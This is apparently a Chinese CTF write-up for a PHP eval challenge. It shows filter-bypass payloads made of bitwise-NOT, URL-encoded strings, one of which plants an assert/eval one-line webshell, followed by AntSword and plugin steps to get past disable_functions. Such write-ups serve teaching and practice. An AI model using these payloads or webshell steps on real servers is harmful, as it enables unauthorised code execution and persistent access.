开门见山看到代码,一个rce类型的题目。代码如下:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
分析代码得到一个code参数接受get传进的值,code接受的值的长度不能大于40,并且code传入的值中不能存在字母和数字。这里先用取反来做吧。
传入一个取反后的url编码再加上一个取反,这样就是传入的那个未取反的值。例如:phpinfo这个吧,$a=urlencode(~'phpinfo'); 那么在我们传入code时,应该是code=(~$a)(); 这样我们传入的code参数在经过解码便会变成了phpinfo,又因为我们(~$a)后还拼接了(),所以是phpinfo(); (这个在php7之前是不行的)。上里的$a应该是下面得出的。
传入code=(~%8F%97%8F%96%91%99%90)();可以看到命令执行成功
那么既然phpinfo可以执行成功,查找一下flag没有发现,没有发现没关系还可以利用这个进行一句话木马上传,先看一下禁用函数,发现禁用了很多命令函数
可以利用assert函数,来实现一句话木马
传入code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
测试成功,可以用蚁剑来连接,连接成功
flag文件打开是空白的看不到flag,因为前面在phpinfo中看到了有许多禁用函数,所以我们需要借助蚁剑的插件来绕过,蚁剑插件市场有个插件,由于disable_functions的存在我们不能说直接读取flag,需要借助readflag来读取
选中模式,开始
在终端中输入命令通过/readflag获得flag
参考文章: